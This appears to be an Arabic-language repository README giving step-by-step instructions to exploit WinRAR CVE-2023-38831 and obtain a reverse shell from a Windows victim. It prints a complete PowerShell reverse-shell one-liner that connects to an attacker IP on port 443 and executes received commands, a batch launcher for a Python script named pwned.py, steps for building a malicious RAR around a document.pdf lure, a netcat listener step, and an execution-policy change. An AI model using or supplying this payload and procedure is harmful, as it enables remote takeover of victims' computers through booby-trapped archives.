
الخطوات اللازمة للحصول على ريفيرس شيل من خلال استغلال ثغرة WinRAR CVE-2023-38831 في الإصدارات الأقدم من 6.23.
في هذا المستودع، سنقوم باستغلال ثغرة CVE-2023-38831 في WinRAR بحيث يمكننا الحصول على reverse shell من جهاز الضحية (Windows) إلى جهاز المهاجم (Kali Linux).
نقوم بتنزيل محتوى هذا المستودع:

بعد ذلك، يجب علينا تثبيت تبعيات Python اللازمة لاستغلال هذه الثغرة باستخدام الأوامر التالية:
pip install rarce

سنقوم بتشغيل كود خبيث يمنحنا reverse shell، مأخوذ من موقع revshells.com (مع توفير IP ومنفذ المهاجم المناسبين):

$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
نحفظ كود PowerShell هذا في ملف .ps1 (سيتم تنفيذه لاحقًا):

بعد الحصول على الكود بصيغة ps1 للحصول على reverse shell، نقوم بإنشاء ملف Python يستخدم مكتبة os لتنفيذ ملف .ps1:

ثم نقوم بإنشاء ملف .bat بالكود التالي:

rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe
rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py
rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%
rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause
في هذه المرحلة، يجب علينا إنشاء ملف WinRAR الخبيث:

نقوم بتشغيل ملف document.pdf داخل ملف .rar:


أخيرًا، إذا بقينا في حالة استماع باستخدام netcat من جهاز المهاجم، فسنستلم reverse shell:

في حالة عدم القدرة على تنفيذ أوامر PowerShell، من الضروري تمكين تنفيذ البرامج النصية على نظامنا:


نقوم بتمكينه:

وننفذ الأمر التالي:
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser